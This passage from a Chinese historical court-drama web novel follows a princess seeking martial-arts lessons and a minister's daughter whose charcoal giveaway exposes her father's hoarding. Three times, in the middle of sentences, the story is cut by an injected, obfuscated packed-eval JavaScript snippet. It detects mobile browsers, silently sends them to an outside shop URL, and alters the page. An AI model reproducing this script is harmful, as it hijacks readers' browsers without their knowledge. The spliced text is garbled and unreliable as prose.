下一刻便见燕融瞥她一眼,脸上没什么情绪,嗓音沉沉问道:“这个时辰来,莫不是想同我们一起用膳?” 朝颜摇摇头,“朝颜有一事想求王后,只几句话,说完便走。” “何事?”燕融眉头一挑,有些好奇。 “此事乃女子之间的事,王后一人便能做主,国君不必费心。”朝颜想着此事在外人听来或许不成体统,索性也不让燕融知晓了。 朝弦懂了朝颜的话外之音,她回过头紧盯着燕融,眉目间有催促之意,燕融看出自家夫人面上的情绪,颇为不爽地回看朝颜,话语中有些醋意:“如此说来,反倒是孤在此打搅你二人了?” “夫君先去寝殿一避,稍后臣妾亲自喂你用膳可好?” 朝弦那张面容白皙,五官秀丽生得极美,语气轻柔时,举手投足间的妩媚让人根本无法忽视,嗓间的“夫君”二字一出,任谁来听到都会拜倒在她石榴裙下,燕融与她相处多年,还是吃她这一套。 见夫人如此撒娇,燕融心中那股不爽散去,唇角缓缓勾起,轻抚了下朝弦的发顶,慢悠悠起了身向寝殿内走去。 燕融的背影消失在眼前后,朝弦这才正儿八经回望着眼前少女,神情庄重,以为有什么不能让燕融听的话要同她说,连忙问道:“颜儿,你故意把他支走究竟是有何事?” 见朝弦严肃的面庞,朝颜连连安慰她: “堂姐莫慌,没什么大事。我想让你下一道王令,让燕国最厉害的武将教我些保命之策,我不怕苦不怕累,只要能学到东西就好。” 朝弦疑惑不解,“为何?” “你是受到贼人威胁了还是?” 闻言朝弦忽然担心起朝颜,知晓她一向自强,什么事都自己扛着,身为堂姐十分心疼这个妹妹,但她也怕自己身为燕国一主,对客人照顾不周。 怕朝弦误会,朝颜及时摇头将话阐明:“没有,我在燕国很安全,无人敢害我。只是我想着日后会去普桑和亲,到那时身边全是他们的人,我若半点拳脚功夫都不会,免不了受人桎梏,我不想让人随意摆布。” “你说得倒也有道理。” 朝弦白皙的玉指捏了下面前的案台,兀的陷入沉思,许久后道:“总不能一直依靠旁人。” “让我想想,最厉害的武将……” “燕国最厉害的武将不就是大司马么?” 先前听闻大司马余姚带领手下五千人马,在立国初期与敌寇作战,屡战屡胜是人人皆知的,脾性也是好的,待下属不苛责,待家中妇孺也极好。 朝颜闻言眼睛顿时亮晶晶的,追问:“大司马将军?听着很是威风,只是那人好相与么?” “人是还可以,但……”朝弦想到什么话语一转,面上明显生了难。 看着朝颜一脸无措的目光,她默默解释着:“听王上说,北狄近日有些蠢蠢欲动,频频挑衅我们燕国边境的村民,搅得他们民不聊生,日子过得都不安稳,为此他特意安排大司马去驻守边关,想必短时间应是不会回来了。” “这……”朝颜原本满怀期待,如今像被泼了盆凉水,又失望又无奈。 朝弦见眼前人变得如此颓废,不想搅她的兴,便又仔细想了想。 她试图再找个合适人选代替大司马,但想了半天统统不满意,而后叹了口气,“除去大司马,好像旁人都不太靠谱,毕竟你是大国公主,总不能随随便便交给个不知名的小卒,万一到时磕了碰了,下手没个轻重,我也没法跟你父王交代。” “容我再想想,容我想想还有谁。” 脑海中忽然闪过朝颜初入燕国的那场宴席,混乱的心绪有种拨云见日的清醒,她问朝颜:“对了,你们华纪的娄少傅还未离开吧?” “他说怕盐官再犯错,要监督盐官一些时日,应是过完这个年再离开。”朝颜被她突然这一问搞得有些迷茫,随便找了个借口替人糊弄过去了。 至于为何还不离开,因为他二人都在计划着如何将王家的真面目戳破,在没解决他之前是不会走的。 “既如此,我想到合适人选了。” 见朝弦一副信誓旦旦的模样,朝颜想到什么,几乎是下意识脱口而出:“堂姐不会说得是娄卿旻吧!” 听朝颜唤人名字唤得如此娴熟,朝弦被吓了一跳,上来就将人的嘴悟得紧紧的,二人面面相觑,朝弦对她这副浑然无知的神态表示无可奈何。 “你呀你,今日便不罚你了。但日后你出门在外可莫要像方才那般直呼男子名讳,这有损你的清誉!” 朝颜附和着点点头,面上装作不好意思,实际内心是唱反调的。如今的她根本不在乎什么名誉,从小到大一直任人随意取笑,说她克母克父,丧门之星,如今的她只想自己开心,才不想去管什么清誉。那东西全是虚假的面子,不能当饭亦不能当银子,只是说着好听而已。 何况只是叫了名字,哪里便被毁了清誉? 实在是让人无言以对。 想着想着,抬眸见朝弦满目柔情地看着她,又伸手将她耳侧碎发帮她理到后面去,缓缓说道:“既然都是要从头开始,颜儿也不必舍近求远,依我看你直接让他的亲卫教你,这事不就成了?” “先前听旁人说他手下亲卫各个都有本事,若不然,你找他试试?” “我想着你们又同是华纪的,他定不敢让下人亏待你,如此大家都能放心。” 不知怎地,朝弦说出娄卿旻的名字后,朝颜无端心里生出对他的丝丝抗拒,但眼下除了他明显没有别的更好的人选,她便只能暂时应下,“既如此,那便听堂姐的,试一试。那朝颜便不打扰你与国君用膳了,先行告退。” “好,那你回去路上慢一点,小心路滑。” …… 朝颜出门后便不发一言,一股脑地向前行,步子也迈得很快,地上未融的雪被她踩得嘎吱作响。 槐夏紧紧跟在她身后,有些摸不着头脑,追上去问:“殿下可找到教您的先生了?” “找是找到了,就是不知该不该去麻烦他。” 这话说得,怎么还退缩了? 槐夏想到朝颜可能是从未接触过习武,导致生出了自馁之心,急忙为其助威打气:“既是为殿下自己长见识,那自然是要去找的。殿下如此聪颖,一点就通,那人定不会拒绝您的。” 听完这话,朝颜也思索着这件事的可行性。 娄卿旻那老古板,真能同意她的想法? 到时可莫要再拿男女对比,嘲讽她一番。 不过槐夏与朝弦所言都很有道理,她应去试试,或许她在习武上有一番天赋呢?更何况她也不想就此放弃,毕竟是为自己的将来做打算,或许可先去探探口风,若实在不行,再找王后。 万一,万一他同意呢? 想着想着,朝颜便暗自下了决定。 回宫后她用过晚膳,静静躺在榻上,思考要如何跟娄卿旻开口提这件事才能让他一口答应。翻来覆去,辗转来回,直至听到外面又开始下的簌簌雪声,才裹紧衾被悠悠入眠。 朝颜所居的殿宇已然闭了灯,同一时辰的公宫另一边却燃了一夜的灯,不那么太平。 娄卿旻听着亲卫禀告的消息后,眉眼带着满满的忧虑,神情严肃,不曾有丝毫困倦。消息是好的,但不知真假也不便做出行动,他只能又暗地派了几个亲卫一齐去查明事情的真相。 只希望,那人真的是他。 但又害怕那人真是他。 * 月黑风高,深更半夜,空气中弥漫着刺骨的寒气,仿佛要钻进人的心肺里去,大雪片刻不停,洋洋洒洒铺了厚厚的一地。 一辆遮挡严实的马车在空荡无物的路上缓缓前行,外面冰天雪地温度极寒,车内与之相反,燃了足足两炉炭火,狭小的空间还能觉出有几分燥热。 车内坐着两个女子,其中一个昏昏欲睡,身上披着厚厚的狐裘,似要入眠。另一个则是聚精会神地盯着炭火,生怕被缝隙中冒入的寒气扑灭。 车外,马夫稳稳驾驶着。 远处忽然冲出一高一低的身影,直直倒在车前拦住了去路,吓得马夫急忙勒紧了缰绳,车身瞬间摇摇晃晃,马儿的嘶鸣打破了寂静的夜。 方才半阖着眼的女子被这突 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405619|200489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如其来的颠簸扰了清梦,彻底睁开双眸,眼底带着化不开的倦意,语气沙哑:“下去看看发生了何事。” 侍女接到命令便掀开帘子跳下了车,不一会儿便又回来禀报:“女公子,是位老妇人,带着一小女童倒在了咱们车前。” 女子的五官带着几分属于男子的英气,眸子黑白分明,眼尾上挑,不施半点粉黛的面庞充满疲惫,闻言先是揉了揉额角,又摇摇头将困意驱赶,伸手搭在侍女腕上。 “扶我下去看看。” 晕倒的二人被马夫扶起,依靠在车轮旁,身上穿着单薄的衣物,难以御寒。浑身红得如同被热水烫坏一般,面颊与四肢露出的地方都溃烂破皮,肿起一大块,让人看了心中一紧。 王凝从未见过如此凄惨的人,比大狱中受惩戒的犯人还要可怜。 她指着车夫与侍女,吩咐着:“动作快些!将她二人扶上马车,送去附近最近的医馆。” “是。” 几人忙忙碌碌一通赶路,半个时辰后才找到一家亮着光的医馆。 这么黑的夜,老医者本是不愿接待,奈何眼前人拿出一块成色极好的玉石,他这才不情不愿地打开门将人弄进来医治。二人进了暖和的屋子,顿时呼吸急促,身子猛地颤抖起来,使劲儿咳着,那架势像是要将心肺咳出一般。 见她母女二人如此,医者是怕的。 连忙找了块布帛围住自己的口鼻才过去诊治,随着时间流逝,他的面色越来越难看,王凝心道大事不妙,上前一步问:“她们如何了?” “高烧风寒发作,又生了严重的冻疮才会晕厥。” 医者也是可怜这母女二人,摘下布帛,看着外面下个不停的大雪,垂头抱怨着:“最近几日温度骤降,又下着雪,实在是让人没法活。” “好端端为何会生冻疮,难道她们家中没有炭火么?” 医者本不想说,见女子面相还算得上亲和,心中掂量了下,这才说:“看女公子衣着不凡应是富贵人家,您不知晓,今年炭火短缺,供应不及,内外城池的商贩都商量好似得,硬生生将木炭卖出了天价,比锦缎还要贵。” “怎会这样?” 王凝整日大门不出二门不迈,窝在暖和的闺房里活得舒适自在,不知外面的人竟受着这么大的苦。她近日也是心血来潮出一次,出府到寺里朝拜,想着求神拜佛能让自己尽快怀上身孕,哪知回来路上竟遇上如此凄惨的事。 莫非是仙人显灵? 有意让她救下二人? 医者见状又道:“恕我多嘴,若贵人不信,您白日里可到西市去转转,与她们二人类似的情况比比皆是,说来也是可怜,我也知晓身为医者救济众人是职责,但若自己都无法保全,更是无暇顾及旁人。” 王凝听完医者无可奈何的抱怨,嘴上不停念叨着这该如何是好,一旁的婢女劝诫她少管闲事,小心大人责罚。 殊不知这几句让王凝心生不满,皱着眉来了句:“总不能看他们白白冻死在街头。” 婢女见她如此模样,便知她是铁了心要插手此事。 可是燕国那样多穷苦人家,她救得了一个两个,十个二十个也不是问题,那成千上百呢?如何救得过来? 王凝面色沉重,思虑一番决定将母女二人暂时搁置在医馆诊治,便打道回了府邸。 不知不觉已经快要天明,王凝心中有事,根本睡不着,唤来婢女便问:“咱们府上还有多少木炭?” “应付今年的两三个月是足足的。来年便不知了……” “派人拉出十箩筐木炭到城西街上,寻个人少的地盘,以最低的价格出售给城西难民,若他们没有银钱,便以物易物。” 说到以物易物,婢女迟疑了,这毕竟是旁人高价都买不到的珍贵东西,怎能这样轻易就给出去。她愣在原地,又重复问了句:“女公子,这样不妥吧?” “按我说的做。”王凝语气十分坚定,不容反驳。 “可是……” 王凝双眸闪烁着冰冷的光芒,话语中带着淡淡怒气,催促着:“你莫要多言,尽管照我说的做,出了任何事我来担着!” 婢女不敢再多话,连忙应下:“奴婢这就去做。” “动作轻点,别让父亲察觉到。” 天刚蒙蒙亮,右师府就出去一大堆人马,从府库中悄悄移出了十箩筐木炭,朝外城西边赶去。雪已经停了,王凝驻在庭院中的长廊处,望着庭院中的假山出神,心中祈求着万万别出任何差错。 晌午时刻,暖阳照耀着大地,整片城池的雪在温暖光芒的照射下,已经化没了。 一上午没有不好的事传来,王凝心道还是自己疑心太重,过多思虑,刚沉下心准备用膳,便听着外面一阵焦急奔跑的声音,随之而来的还有婢女的呼喊:“女公子!大事不好了女公子!” “怎地如此慌张,出了何事?” 婢女气喘吁吁,满头大汗地跑到她面前,双手撑着膝盖骨,一脸惊慌失措地回:“城西的难民和商贩们打起来了。” 34. 漏网之鱼(七) 王凝紧紧皱着眉头。 好端端地为何会打起来?她明明让人将木炭分给难民,又如何与商贩们扯上干系?诸多疑问冒上心头,王凝有些后怕,让人将事情细细说来。 婢女闻言跪在地上,再抬头已经满脸泪水,像是受了极大的委屈,嗓间带着哭腔: “原本奴婢带着一伙人以最低价出售木炭,开始还好好的,来得都是城西的难民,用粮食和牲畜换炭,后来人越来越多,一些城东的小摊贩不知从哪里听了消息也来了,我们说只出售给城西难民,他们就直接上手抢了,甚至,甚至还污蔑咱们家大人私吞木炭,说他……” “说什么了?” “说大人故意私吞木炭,就为了高价售卖,到处吃人们的血汗钱。” 王凝听到这等污蔑人的传言有些气愤,语气凌厉道:“此事不是让你们保密么?谁将这个消息泄露出去的?” “奴婢不知,奴婢发誓,奴婢带的几个人都守口如瓶,定是那些难民口不择言,一下给说出去了,奴婢该死,都怪奴婢没好好嘱咐他们。”说着婢女抬手就开始扇自己的脸,一下一下,力度很大。 眼看着婢女白皙的脸颊红肿起来,王凝匆匆起身拉住她的手腕,制止她的动作。 “别打了!也不全是你一人的错,怪我将事情想得太简单了,忘了天下没有不透风的墙。” “这下要如何是好呀,大人若知晓此事,定会责罚咱们。”比起眼前的女公子,婢女更怕那个极具威严的右师大人。 王凝不想听这些,连连摆手让人退下,“若父亲问起来,你们只管说是我吩咐的,我一人承担便好,你先下去吧。” 婢女走之前又想起来一件事,回她道:“女公子,还有一事奴婢差点忘记了。” “城西动乱之时来了位年轻公子,据他下属透露,那人是华纪使臣,也是他最先带人制止了动乱,将造谣生事的人全抓入司寇大狱了,或许,或许事情也没那么严重呢,您向大人求求情,大人或许会网开一面。” “知道了,你下去吧,我想一个人静静。” 至于什么使臣不使臣,王凝哪里有心思再想那些,只是希望此事别传到王上耳朵里,不然定会危害到父亲。她痛定思痛,有几分后悔,但想到城中那些挨饿受冻的百姓,心里还是觉得她没做错事。 她又安慰自己,至少那些得了木炭的百姓可以平安度过这个冬日。 时至今日王凝总算理解了什么叫好事不出门,坏事传千里。 身居高位之人,有个风吹草动就能被传成林木被烧,野原尽毁。 她未料到事情蔓延得如此迅速,半刻后便听闻国君下了急诏,让朝官上朝,说是严查木炭之事。彼时王酉铭刚用过午膳还未来得及歇脚,就急匆匆坐上马车离府。 王凝跟在他身后,看着驶向远处的马车,心道一声不妙。 倘若父亲没做什么便罢了,但真被查出什么,王家这一劫怕是逃不过了。 经先前姜贯一事过后,燕融早就将百姓看得极其重要。众位朝臣还蒙头转向着,就被燕融劈头盖脸一顿训斥,为平众怒,燕融不得不立刻将王酉铭以罪臣之名劝返府中。 王酉铭面色铁青地被送回府邸时,整个人头昏脑涨,气急攻心。 他也不知自己的好女儿竟有本事自作主张闯下这样大的祸,还有那些下人,跟着她一起胡来,将他这个一家之主瞒在鼓里。 待度过这次难关,他定要好好整治一下府邸这群吃里扒外的东西。 他与夫人老来得子,膝下只有一位独女王凝,怕他受委屈便招了赘婿入府,让她与夫婿住在南边小院,他夫妇二人则住在北苑。 因为子嗣来得晚,王酉铭格外疼惜王凝,本以为怜惜她惯着她能让她开心些,可万万没想到,宠爱成了溺爱,竟让她没有自知之明,擅自做主偷了府中的木炭分发出去,还惹了祸。 王酉铭一入府门便直接去了南苑,他走得急,上气不接下气。 南苑下人见从不踏足此地的大人突然闯入庭院,面色十分难看,纷纷低头跪了一地。 彼时王凝正在寝室的案前坐着,等待自家父亲的大驾光临。 男人目眦尽裂,胸中怒火烧个不停,进门便是破口大骂:“你这逆子,你可知你都干了什么!” 他走到王凝身前,本想打她一巴掌,到底是自己亲骨肉,努力忍了下去,食指指着她,“你简直无法无天,你眼里根本没有我这个父亲!” 王凝见他如此模样,没有被吓破胆子,反而语气很平静:“父亲明察,女儿只是想救济那些百姓,招来祸事实属巧合,并非女儿本意。” “救济?巧合?”王酉铭反问。 “你那是救济么?你是在拿整个王家的项上人头在玩乐!” 王凝知道错在自己,起身来到他面前,跪在地上磕头认错:“父亲,是我对不住您,思虑不周,您要打要骂女儿都不会有半句怨言。” 男人气在头上,也不给她留面子,大吼大叫道:“你啊你!和王堃一样蠢,一个比一个让我不省心!你说你好好待在家中做你的贤妻良母不好么?非要出去给我惹事!” 见女子态度还算好,低眉顺目跪在地上,他火气发了出去,也逐渐消了气,语气比方才柔软了几分: “凝儿,父亲允许你发善心,行善举,你若是偷偷干了便罢了,你偏偏在街上招摇过市,还撑起摊位明目张胆地售卖,你这不是存心要父亲难堪么?” “父亲,女儿绝无此意。” 王酉铭冷哼一声,忆起燕融当着朝堂众人的面上训斥他的那几句,丝毫不客气,一想到他已经在众人面前失了脸面,便气不打一处来。 “现如今你说千句万句对不住我也无用,实话与你说了吧,为父已被国君收了国库钥匙,如今国君下令让左师协助赵司寇查木炭克扣一事,你且等着,若真查到为父头上,咱们王家从今以后就彻底在朝堂上没了地位。” 更确切地说,王家会倒台。 王酉铭说那些话是故意吓唬她的。 他也是气王凝不与自己商量擅作主张之事,对于木炭克扣他是不放在心上的,早已做足了准备,任谁都不会查到他头上。 现如今将人骂了一顿,消气后也觉得不是天塌了的大事,本想嘱咐王凝日后别再多管闲事,不想听到女子忽然唤他一句父亲,而后一本正经地问他:“女儿只想知道,究竟是不是您故意克扣了本该分给百姓们的木炭?” 话毕,一室沉默。 答非所问便是真正的答案。 王凝明白了一切,慢慢对眼前人失望,眸中没了光亮。 以往虽也有各种对王酉铭不利的流言,她都从未在意过,因为在她这里王酉铭从未苛待过她,甚至宠她护她,是个好到极致的父亲。 但如今忽然有人告诉她,你最最喜爱的父亲是个为了一己之私欺压百姓的贪官,你日夜享用的、甚觉燥热的暖殿,是用了本属于旁人的木炭饶制而成的,她的幻想瞬间破灭了。 这位她奉若神明、十分尊敬的好父亲,私下居然还有另一副面孔。 这才是真正的天塌了。 她一向敬重的天,在这一刻,尽数崩塌。 王酉铭从来不觉得自己会做什么不利于燕国的错事。 眼下燕国蒸蒸日上,吃穿用度都在一一转好,炭窑冶炼器具兵刃需要许多木炭,满城上下许多朝官与世家大族养了那么多人,也需用木炭取暖烹饪,自是要控制每分炭的去处,将其用到该用的地方。 他身为燕国重臣,既掌管了木炭,自是为燕国多数人考虑,那些零零散散的穷苦百姓不在他的考虑范围内。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405620|200489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旁人哪里懂得此事的重要性,本不想再搭理女子,但见她失落的模样,忽然破天荒对她解释: “为父也是为了燕国日后兴盛所做的正确决策,保护多数人的利益罢了。我也根本不在乎有谁会死在这个冬日,那都是极少数人,你也不必再多言,为父心中早有取舍!” “可是父亲,难道为了燕国,就可以随随便便让百姓冻死在街头么?那长此以往,燕国失了百姓,还能继续走下去么?” “你一个妇人懂什么?” 王酉铭语气很不耐烦,“能冻死就证明他们这一年无所事事,到头来连个买炭的银钱都没有,我燕国也不需要如此废物之人!” 王凝不再跪着,而是站起身直起腰板,真正与眼前人对抗: “父亲,您说错了。” “燕国万民,没有一个是你口中所说的废物,他们都是可用之人。您应是从未想过,若燕国人人都跟您一样,身居高位,手握重权,府中银钱多得花不完,那满朝堂都是官了,何人去种庄稼?何人养猪牛羊?又有何人织布制新衣来供我们挑选?父亲,您真是老糊涂了!” 被一向知书达礼的女儿骂一句老糊涂,王酉铭顿时瞪大双眼,言语激烈:“王凝,你可知你在说什么!” “女儿知道,女儿还要继续说。” 王凝已经对眼前人失望透顶,眉目中失了光亮,声音不大但铿锵有力:“女儿不是大官,不知如何才是对燕国最正确的决策,也不要求燕国人人都领同样的俸禄。毕竟做官需要足智多谋,做将士需要力大无穷上阵杀敌。” “女儿只想不论平民百姓还是商贩掌柜,亦或是文臣武将,每个人都各司其职,做着自己力所能及的事。想众人和平相处,谁都不要看不起谁贬低谁,更不想听到父亲这高高在上的一句说我燕国不需要废物的嘲讽!” 她顿了顿,转过身不再看王酉铭,“从前一直觉得父亲是个好官,如今女儿真正要睁开眼睛看看,究竟谁才是真正的好官,谁才是真正可得民心的好官!” 王凝话里有话,王酉铭比她多活了二十年,怎会听不出她心中偏向何人。 “你……逆子!你这是在忤逆为父!” “忤逆又如何?父亲也不是从前的父亲了。” 话毕,王酉铭气急败坏,直接冲到她面前,扇了她一巴掌,女子脸上顿时出现一道红痕,他愤愤道:“若没有我,你何来今日的荣华富贵?又哪里能轮到你在此处咄咄逼人来纠我的错处?” 从小到大从未受过委屈的王凝被男人这狠狠的一下打蒙了,她转过脸,眼中泛起泪花,比起脸疼她的心更痛。 她静静回望着他,语气十分强硬:“父亲若一直冥顽不灵,我便进宫面见国君,让国君迎姜城主回城,掌管所有城池!”她就这样直截了当地将心中所想说了出来,不加丝毫掩饰。 王酉铭被这几句话刺激地双目通红,不知该说什么,最后只化为弱弱的一句:“你是要气死为父!” “我是在为父亲的愿景,燕国的繁荣着想。” 她说完,不等人再接话,自顾自地踏出了房门。 “逆女啊逆女!” 王酉铭生怕她再做什么危害到王氏家族的事,开口唤她:“你往何处去?” “国君让父亲一人回府思过,女儿应是不在禁令之中,女儿自是想去何处便去何处。” “你真是想气死我!” “王凝!” “你给为父回来!” 愤怒的声音响彻天际,可任由他吼破喉咙,女子始终不回头给他半点反应。 他一下喘不上气,仰头便向后倒去,重重摔到地上。 庭院中的下人们吓了一跳,纷纷围了上去。王凝的夫婿回来便看到这一幕,连忙招呼人去搀扶王酉铭,最后将人送回自己的寝殿…… 35. 漏网之鱼(八) 这日天刚亮,朝颜去寻娄卿旻时发现他所居的殿内空无一人,想到他的身份,知晓他不可能一直无所事事,也有公务在身,找他学武之事便暂时被搁置了。 谁知早膳之后便听到王宫中的流言蜚语,说王酉铭因克扣百姓木炭之事被禁足在府上,更有左师周鉴与赵司寇协助调查,更有人传是娄卿旻及时赶到,制止了外城动乱之事,否则还会有更大的伤亡。 如此,娄卿旻怕是又要忙活一阵时日了。 那王酉铭也是恶人多作怪,被上天报应到自己身上,如今自食恶果,朝颜也不觉得奇怪,反倒是纳闷,何人那样有胆量,居然能让王家人受挫。 只是可怜了那些穷苦百姓,好在燕融在乎百姓,当即便下王令将国库的木炭拨出去许多,暂缓百姓的寒冷之苦,若不然,会有更多无辜的人活不过这个年。 未寻到娄卿旻,朝颜就这样窝在宫里看了一日的书。 多日大雪不停,燕国上下已被落雪覆盖,银装素裹,无边无际。翌日早早又出了太阳,日光明媚,仅两个晌午皑皑白雪便融成水珠,尽数消融,燕国逐渐恢复成原本面貌,丝毫没有下过雪的踪迹。 一个时辰后,朝颜派槐夏去西边又跑了一趟,才知娄卿旻依旧未归,心中不免有些低落,端起一旁的书简看了一卷后便再也无法静心看下去。整座大殿空荡荡,静得没有半点声响,仿佛世上只剩她一人,她觉得实在无趣,便唤槐夏拿着令牌出了宫,到外城姜贯的府上去探望。 马车稳稳行在街道,二人谈话的须臾间便已抵达。 多日不见,府上已经全被翻新了一遍,脏乱空荡变得精致富余,碎石铺路,空地栽树,庭院最中间被黄土硬石筑了一圈,中间挖空建池。待明年开春栽几支绿植,向其中灌满水,夏季便可见到盛开的荷花绿叶,满目芬芳。 只是想想,都让人心旷神怡,满心期待。 宽阔庭院只有姜家父子二人居住,没有多余的管家侍女,十分寂静,所以朝颜来了无人通报。 良久之后,姜贯从后院走出,他手中正拿着铁杵,想将昨日动工遗留的院中碎石收拾一下,再洒些花种,待来年春日盛放之时,院中也不会像如今这般冷清。 不想他刚出来便看到披着白色外裘的朝颜与其侍女静静站在围栏旁。 多日不见,姜贯再看到朝颜很是惊喜,唤了她一声,朝颜转身走了过来,二人寒暄了几句,便一前一后进了正厅。 入住没多久,厅堂自是比不上从前阔绰的府邸,正厅显而易见的寂。他们一齐走到最前端,上了台面,便对坐在一张黑漆木案前,槐夏先前来过一次,已经熟悉府中的摆设,十分有眼色地接过朝颜的外衣置在一旁,便下去为二人烹茶。 见槐夏如此机灵,朝颜无声笑了下。 姜贯看着主仆二人胜似友人的情形,欣慰地点了点头。想起白日里姜宣同打听来的王酉铭之事,他疑了一下,心中有了猜测,开口问道:“颜儿可知最近燕国百姓们闹翻了天?” “舅父是说王酉铭私自克扣木炭一事?”见男人颔首附和,朝颜迟迟道了句:“想来也是上天看不下作恶之人,让他自食其果了。” “此事与颜儿无关?”姜贯有些意外。 上次被王酉铭破了脏水,朝颜愤愤不平念了他几句,他便以为此次是朝颜在背后推波助澜,否则那人不会这么快便被国君关禁闭。 闻言朝颜则是十分诧异,心道舅父高看了自己,随之掩唇笑出声,“冬日寒凉,颜儿近日一直待在寝殿足不出户,这样的事我确实想做,但心有余而力不足。” “不过我倒是听过些小道消息,说此事与右师的千金有关。” 知晓与朝颜无关后,姜贯也没有多少好奇之心,淡淡回她一句:“罢了,他不日便会受惩治,只要他不再危害到我们,便不予理会。” 反之若再上演一次贼喊捉贼,被逼急了他也不会坐以待毙。 先前听了娄卿旻的谏言,未找到实证之前自是不会再随意动手,只是她也没想到王家的报应会来得这么快。 想到罪魁祸首是王酉铭亲女,朝颜有些感慨,“舅父,其实我还有些欣赏右师之女,是个勇气可嘉,至真至善的人,主动舍己为人将自家的木炭分发给百姓,为此不惜与父亲撕破脸。” 姜贯想到王酉铭那些小人之举,连带着不喜他的女儿,直接戳破事实:“舍己为人谈不上,或许是知错就改,想替他父亲收拾残局,毕竟木炭是王酉铭私自克扣的,他女儿替他补上,算得上是个泾渭分明之人。” “说起来,舅父可见过那女子是何样貌?” 姜贯摇头,“未见过,也不甚了解她的性子,只知她是家中独子,及笄之后王家便为她寻了个脾气温顺的公子,让其入赘到王府。但他二人结亲多年仍未有子嗣,王凝为此一直受人诟病,后来王酉铭得知此事,大发雷霆惩治了碎嘴之人,她的名声才逐渐转好。传言她每隔一段时日便会去外城寺中求九子母神赐子,甚至寻遍天下药方求嗣,可谓吃了不少苦头。” 听完姜贯所言,朝颜暗自叹气,不禁同情起王家这个女儿。 前世到现今,先是自己,又是连瑕,如今又有王氏之女,总因无嗣一事被人诟病,又是不孝又是未尽妇道,诸多恶语不堪入耳,极其伤人。 相似遭遇不断循环往复,明晃晃摆在她眼前,时刻提醒她身为女子就应该相夫教子,就该小心翼翼,卑躬屈膝,以夫为天,不可抛头露面,须在深闺大院好生待着。 这样的场面见多了,她忽然觉得可悲。 女子虽嫁做人妻,但只有为人诞下子嗣才算是真正的好夫人。 否则便不配活着,不配为女子。 凭什么? 凭什么女子的命与名,就要被掌握在天下悠悠众口中? 甚至也有些同为女子的人,也会拿子嗣来炫耀、攀比。 同为女子,为何她们就不能站在女子的立场来考虑? 这天下何时才能对女子少一些束缚,多一些容和? 王氏女有父亲在背后为其撑腰做主,朝颜替她庆幸,至少她最亲近之人不会落井下石,若不然,孤身一人堵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405621|200489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不住悠悠众口,日子只会更惨。 几番深思过后,朝颜将情绪化为一口气叹了出去,才道:“王酉铭虽不是个好官,但确实是个好父亲。” 姜贯见朝颜愣神许久,又说出这句话,以为她是想起从前那些不好回忆,羡慕王氏女有个疼爱她的父亲,安慰道:“颜儿放心,从今以后,舅父会护着你,不会再让你受半分委屈。” 朝颜勾唇笑起来,他赶快转移话题:“眼下国君收了他的国库钥匙,让他面壁思过等候审查,想来这次不会不了了之,毕竟百姓们个个都在死死盯着他。” “那样自私自利之人能生出这样心胸豁达的女子,也算王家还后继有人。” “人与人总归是不一样的,也不能因为王酉铭一人的错处便对他的子女有偏见。”朝颜接话。 “说得极是。” 话音刚落,朝颜左顾右盼,正想着来了这么久堂兄为何还不出来,余光便瞥见人影进了大厅,她以为是姜宣同,抬眼看过去才发现是槐夏端着烹好的茶回来了。 槐夏有条不紊地为二人斟茶后,置于手边。 茶香泗溢,杯壁冒着徐徐热气,朝颜不紧不慢地静等茶凉,相顾无言了一会儿,才各自端起瓷杯,朝颜问他:“来了这么久还不见堂兄出来,他人呢?” “在家闲来无事,去西边酒肆喝酒了。” 朝颜微微点了点头,姜宣同爱喝酒,去酒肆也不奇怪。 不对,城西酒肆。 朝颜忽然想到什么,小声嘀咕出来:“他该不会是去连瑕那了吧?” 少女冰雪聪明,一下便戳破实情,姜贯眼皮跳了下,故意不接话,认真喝茶,不想心中有事,动作混乱,茶水入嗓的那刻忽然被呛了一下,一连咳嗽了好几声。他咳完便装作无事发生说了句烫,便放下了茶具。 都喝了茶水,朝颜只觉得温度味道都刚刚好,怎地舅父会被烫到。见他反应如此激烈,朝颜暗自怀疑起来,细眉微挑,笑道:“舅父如此,可是被我猜中了?” “堂兄想搞什么名堂?莫非他还贼心不死?” 毕竟先前他真真切切是个好色之徒,朝颜实在不信一个人多年养成的本性能如此轻易就改了。 身为父亲的姜贯忙为其打掩护解释:“有你在,他哪里敢。如今你堂兄他也改过自新了,整日嚷嚷着说要同那女子学本事,我才放他出去,若不然我亦不会允许他去打搅人家。” 学本事?学什么?洗手作羹汤还是记账查账? 懒惰了半辈子的人会突然转性么?还这样勤进。 朝颜想着便觉得不大可能。 